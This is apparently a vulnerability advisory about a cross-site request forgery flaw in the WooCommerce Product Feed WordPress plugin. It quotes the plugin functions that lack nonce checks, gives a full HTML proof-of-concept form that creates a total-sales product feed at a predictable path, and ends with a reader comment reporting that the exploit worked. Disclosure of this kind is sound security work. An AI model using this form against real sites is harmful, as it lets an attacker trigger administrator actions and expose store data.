Cross-Site Request Forgery (CSRF) Vulnerability in WooCommerce Product Feed
One of the things we do to provide the best data on vulnerabilities in WordPress plugins is to monitor the wordpress.org Support Forum for threads related to those. Last week we came across a thread indicating that there was cross-site request forgery (CSRF) vulnerability in the plugin WooCommerce Product Feed. When we went to look into this we noticed that version that was supposed to fix this didn’t have any changes that looked related to that. When then asked in thread if the developer was sure that the intended fix was included, they responded yes, but what they said then did to fix the vulnerability had actually been done in version released after we asked them the question, so the truth was that they had not.
Not enough information was given for us to determine if there had actually been the claimed CSRF vulnerability in the plugin, but while looking over the plugin we when original came across the thread, we noticed a cross-site request forgery (CSRF) that exists in the current version of the plugin.
The plugin generates product feeds from WooCommerce, for sharing data with shopping services. The creation of a new product feed lack CSRF protection, so if you could get a logged in Administrator to visit a page you control you could cause a new product feed to be created at a location known to the hacker. A lot of the information that can be included in that is usually public, so the potential security risk would depend on if any information that could be included is something that the website wouldn’t want known to someone outside of it.
Requests to generate a feed our sent to the page /wp-admin/admin.php?page=webappick-product-feed-for-woocommerce%2Fadmin%2Fclass-woo-feed-admin.php, which causes the function woo_feed_generate_feed(), in the file /woo-feed.php, to run. That in turn causes the function woo_feed_add_update() to run when creating a new feed:
350 351 352 353 354 355 356 | function woo_feed_generate_feed() { if (isset($_POST['provider'])) { ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); $process = woo_feed_add_update($_POST); |
To prevent cross-site request forgery (CSRF) there should be nonce check done before the feed is created, but that doesn’t occur before woo_feed_add_update() is run and that function also doesn’t do one before getting into the code that creates the feed:
235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 | function woo_feed_add_update($info = "", $name = "") { set_time_limit(0); if (count($info) && isset($info['provider'])) { # GEt Post data if ($info['provider'] == 'google') { $merchant = "Woo_Feed_Google"; } elseif ($info['provider'] == 'facebook') { $merchant = "Woo_Feed_Facebook"; } else { $merchant = "Woo_Feed_Custom"; } $feedService = sanitize_text_field($info['provider']); $fileName = str_replace(" ", "", sanitize_text_field($info['filename'])); $type = sanitize_text_field($info['feedType']); |
We notified the developer directly a week ago and also notified them of that contact in the previously mentioned thread, but so far we have received no response and the vulnerability hasn’t been fixed, despite a new version being released since then.
Proof of Concept
The following proof of concept will cause a new product feed to be generated with total sales of all the products and be stored at /wp-content/uploads/woo-feed/custom/csv/TotalSales.csv, when logged in to WordPress as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin.php?page=webappick-product-feed-for-woocommerce%2Fadmin%2Fclass-woo-feed-admin.php" method="POST"> <input type="hidden" name="provider" value="custom"> <input type="hidden" name="provider" value="custom"> <input type="hidden" name="filename" value="Total Sales"> <input type="hidden" name="feedType" value="csv"> <input type="hidden" name="itemsWrapper" value="products"> <input type="hidden" name="itemWrapper" value="product"> <input type="hidden" name="extraHeader" value=""> <input type="hidden" name="delimiter" value=","> <input type="hidden" name="enclosure" value="double"> <input type="hidden" name="wf_tabs" value="on"> <input type="hidden" name="mattributes[]" value="Product"> <input type="hidden" name="prefix[]" value=""> <input type="hidden" name="type[]" value="attribute"> <input type="hidden" name="attributes[]" value="title"> <input type="hidden" name="default[]" value=""> <input type="hidden" name="suffix[]" value=""> <input type="hidden" name="output_type[0][]" value="1"> <input type="hidden" name="limit[]" value=""> <input type="hidden" name="mattributes[]" value="Total Sales"> <input type="hidden" name="prefix[]" value=""> <input type="hidden" name="type[]" value="attribute"> <input type="hidden" name="attributes[]" value="wf_cattr_total_sales"> <input type="hidden" name="default[]" value=""> <input type="hidden" name="suffix[]" value=""> <input type="hidden" name="output_type[1][]" value="1"> <input type="hidden" name="limit[]" value=""> <input type="hidden" name="ftpenabled" value="0"> <input type="hidden" name="ftphost" value=""> <input type="hidden" name="ftpuser" value=""> <input type="hidden" name="ftppassword" value=""> <input type="hidden" name="ftppath" value=""> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
9/6/2016 – Developer notified.
I have tried to replace “[path to WordPress]” with the location of WordPress and after couple of experiment i succeed. Thanks for sharing.